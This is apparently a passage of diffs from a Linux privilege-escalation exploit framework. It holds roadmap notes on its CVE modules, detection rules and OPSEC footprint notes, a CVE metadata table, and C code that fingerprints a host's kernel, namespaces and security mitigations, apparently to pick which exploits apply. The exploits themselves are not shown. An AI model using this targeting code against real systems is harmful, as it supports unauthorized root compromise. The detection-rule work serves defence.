- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
|
||||
@@ -0,0 +1,348 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-23111",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43499",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46242",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint implementation
|
||||
*
|
||||
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||
* first call, stores into a file-static, and returns the same pointer
|
||||
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||
* no synchronisation needed.
|
||||
*/
|
||||
|
||||
#include "host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#endif
|
||||
|
||||
static struct skeletonkey_host g_host;
|
||||
static bool g_host_ready = false;
|
||||
|
||||
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||
|
||||
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||
* value (after `=`). Cap is the size of dst including NUL. */
|
||||
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||
{
|
||||
const char *p = s;
|
||||
if (*p == '"' || *p == '\'') p++;
|
||||
size_t L = strcspn(p, "\"'\n");
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, p, L);
|
||||
dst[L] = '\0';
|
||||
}
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||
static bool read_int_file(const char *path, int *out)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
int v;
|
||||
int n = fscanf(f, "%d", &v);
|
||||
fclose(f);
|
||||
if (n != 1) return false;
|
||||
*out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||
fclose(f);
|
||||
size_t n = strlen(dst);
|
||||
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── populators ───────────────────────────────────────────────────── */
|
||||
|
||||
static void populate_kernel(struct skeletonkey_host *h)
|
||||
{
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||
* does not warn about possible truncation (we WANT truncation;
|
||||
* the snprintf already caps). */
|
||||
snprintf(h->arch, sizeof h->arch,
|
||||
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||
snprintf(h->nodename, sizeof h->nodename,
|
||||
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||
}
|
||||
/* kernel_version_current owns the static release-string buffer
|
||||
* and the parser — reuse it to keep one source of truth. */
|
||||
kernel_version_current(&h->kernel);
|
||||
}
|
||||
|
||||
static void populate_distro(struct skeletonkey_host *h)
|
||||
{
|
||||
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0)
|
||||
parse_os_release_value(line + 3,
|
||||
h->distro_id, sizeof h->distro_id);
|
||||
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||
parse_os_release_value(line + 11,
|
||||
h->distro_version_id, sizeof h->distro_version_id);
|
||||
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||
parse_os_release_value(line + 12,
|
||||
h->distro_pretty, sizeof h->distro_pretty);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
static void populate_user(struct skeletonkey_host *h)
|
||||
{
|
||||
h->euid = geteuid();
|
||||
h->egid = getegid();
|
||||
h->is_root = (h->euid == 0);
|
||||
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||
|
||||
h->username[0] = '\0';
|
||||
struct passwd *pw = getpwuid(h->euid);
|
||||
if (pw && pw->pw_name)
|
||||
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||
|
||||
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||
* discover the outer uid if we're inside a user namespace. Format
|
||||
*
|
||||
* "0 0 4294967295" → init ns, outer == 0
|
||||
* "0 1000 1" → userns mapped, outer == 1000
|
||||
*
|
||||
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||
h->real_uid = h->euid;
|
||||
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
char buf[256];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
int inner = -1, outer = -1, count = 0;
|
||||
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||
inner == 0 && outer > 0)
|
||||
h->real_uid = (uid_t)outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void populate_platform_family(struct skeletonkey_host *h)
|
||||
{
|
||||
#ifdef __linux__
|
||||
h->is_linux = true;
|
||||
#else
|
||||
h->is_linux = false;
|
||||
#endif
|
||||
h->is_debian_family = path_exists("/etc/debian_version");
|
||||
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||
path_exists("/etc/fedora-release") ||
|
||||
path_exists("/etc/rocky-release") ||
|
||||
path_exists("/etc/almalinux-release");
|
||||
h->is_arch_family = path_exists("/etc/arch-release");
|
||||
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||
path_exists("/etc/SUSE-brand");
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||
static bool userns_probe(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return false;
|
||||
if (pid == 0) {
|
||||
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return false;
|
||||
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void populate_caps(struct skeletonkey_host *h)
|
||||
{
|
||||
h->unprivileged_userns_allowed = false;
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
|
||||
#ifdef __linux__
|
||||
h->unprivileged_userns_allowed = userns_probe();
|
||||
|
||||
int v = 0;
|
||||
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||
h->apparmor_restrict_userns = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||
h->unprivileged_bpf_disabled = (v != 0);
|
||||
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||
h->selinux_enforcing = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static void populate_services(struct skeletonkey_host *h)
|
||||
{
|
||||
h->has_systemd = path_exists("/run/systemd/system");
|
||||
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||
* succeeded, the command exited 0, and we got at least one line.
|
||||
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char buf[256];
|
||||
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||
int rc = pclose(p);
|
||||
if (!got || rc != 0) return false;
|
||||
size_t L = strlen(buf);
|
||||
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||
buf[--L] = '\0';
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, buf, L);
|
||||
dst[L] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Extract the version-string token from a line of the form
|
||||
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||
* version token is everything from the first non-space after
|
||||
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||
* found. */
|
||||
static void extract_version_after_prefix(const char *line,
|
||||
const char *prefix,
|
||||
char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
const char *p = strstr(line, prefix);
|
||||
if (!p) return;
|
||||
p += strlen(prefix);
|
||||
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||
dst[i++] = *p++;
|
||||
dst[i] = '\0';
|
||||
}
|
||||
|
||||
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||
{
|
||||
h->sudo_version[0] = '\0';
|
||||
h->polkit_version[0] = '\0';
|
||||
|
||||
char line[256];
|
||||
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "Sudo version",
|
||||
h->sudo_version, sizeof h->sudo_version);
|
||||
|
||||
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "pkexec version",
|
||||
h->polkit_version, sizeof h->polkit_version);
|
||||
}
|
||||
|
||||
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||
{
|
||||
if (g_host_ready) return &g_host;
|
||||
|
||||
memset(&g_host, 0, sizeof g_host);
|
||||
populate_kernel(&g_host);
|
||||
populate_distro(&g_host);
|
||||
populate_user(&g_host);
|
||||
populate_platform_family(&g_host);
|
||||
populate_caps(&g_host);
|
||||
populate_services(&g_host);
|
||||
populate_userspace_versions(&g_host);
|
||||
g_host.probe_source = "skeletonkey core/host.c";
|
||||
g_host_ready = true;
|
||||
return &g_host;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch)
|
||||
{
|
||||
if (!h || h->kernel.major == 0)
|
||||
return false;
|
||||
if (h->kernel.major != major) return h->kernel.major > major;
|
||||
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||
return h->kernel.patch >= patch;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_M, int lo_m, int lo_p,
|
||||
int hi_M, int hi_m, int hi_p)
|
||||
{
|
||||
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||
}
|
||||
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||
{
|
||||
if (json || h == NULL) return;
|
||||
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||
h->nodename[0] ? h->nodename : "?",
|
||||
h->is_root ? " (ROOT)" : "",
|
||||
h->is_ssh_session ? " (SSH)" : "",
|
||||
h->kernel.release ? h->kernel.release : "?",
|
||||
h->arch[0] ? h->arch : "?",
|
||||
